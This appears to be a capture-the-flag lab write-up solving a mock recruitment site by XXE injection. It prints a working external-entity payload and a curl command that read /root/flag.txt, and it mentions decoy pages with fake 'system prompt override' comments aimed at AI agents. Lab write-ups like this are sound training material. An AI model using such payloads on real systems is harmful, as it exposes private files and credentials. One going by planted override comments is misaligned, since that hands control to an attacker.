Lab 139 — HireFlow — XXE via XML Application Intake

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: external_entity_injection, xxe_file_read

Summary

Task: HireFlow recruitment platform with XML-based ATS integration endpoint. Solution: XXE injection via external entity to read /root/flag.txt, flag reflected in JSON response.

Lab 139 — HireFlow — XXE via XML Application Intake — HackAdvisor

Description

HireFlow is a modern recruitment management platform built by TalentWave Inc. HR teams use it to post job openings, review candidates, and manage their entire hiring pipeline. The platform features a public career portal where candidates can browse listings and submit applications.

The platform accepts job applications through both a web form and an XML-based API integration endpoint designed for third-party ATS (Applicant Tracking System) forwarding. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Goal: Find and exploit a vulnerability in the application processing pipeline to read /root/flag.txt.

Analysis

The application exposes two methods for submitting job applications:

1. Standard web form (HTML)
2. XML-based API endpoint for ATS integration

The XML endpoint at /apply/{job_id} accepts Content-Type: application/xml and parses the submitted XML data. The XML parser has external entity processing enabled, making it vulnerable to XXE attacks.

Key vulnerability indicators:

• Documented XML API endpoint for third-party integrations
• XML parser processes DOCTYPE declarations
• SYSTEM entities are allowed and processed
• Parsed content is reflected back in the JSON response ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Note: The HTML pages contained decoy flags with fake "system prompt override" comments designed to trick AI agents and automated scanners.

Solution

Step 1: Reconnaissance

Explored the HireFlow career portal. Found job listings at /jobs and individual job pages at /jobs/1.

Step 2: Discovery of XML Endpoint

On the apply page /apply/1, found an "ATS Integration" section documenting the XML intake endpoint:

• POST /apply/1 with Content-Type: application/xml
• Expected XML format:

 xml read-only • copy allowed Copy
<application>
    <name>...</name>
    <email>...</email>
    <phone>...</phone>
    <coverLetter>...</coverLetter>
</application>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Crafting XXE Payload

Created an XXE payload to read the flag file by defining an external entity:

 xml read-only • copy allowed Copy
<?xml version="1.0"?>
<!DOCTYPE application [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<application>
    <name>&xxe;</name>
    <email>test@example.com</email>
    <phone>555-0100</phone>
    <coverLetter>Test</coverLetter>
</application>

Step 4: Sending the Payload

 bash read-only • copy allowed Copy
curl -s -X POST "$URL/apply/1" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE application [<!ENTITY xxe SYSTEM "file:///root/flag.txt">]><application><name>&xxe;</name><email>test@example.com</email><phone>555-0100</phone><coverLetter>Test</coverLetter></application>'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Flag Extraction

The server returned JSON with the flag in the applicant field (which corresponds to the <name> element):

 json read-only • copy allowed Copy
{
  "trackingRef": "TW-22384",
  "position": "Senior Software Engineer",
  "message": "Application submitted successfully",
  "email": "test@example.com",
  "status": "received",
  "applicant": "FLAG{REDACTED}\n"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍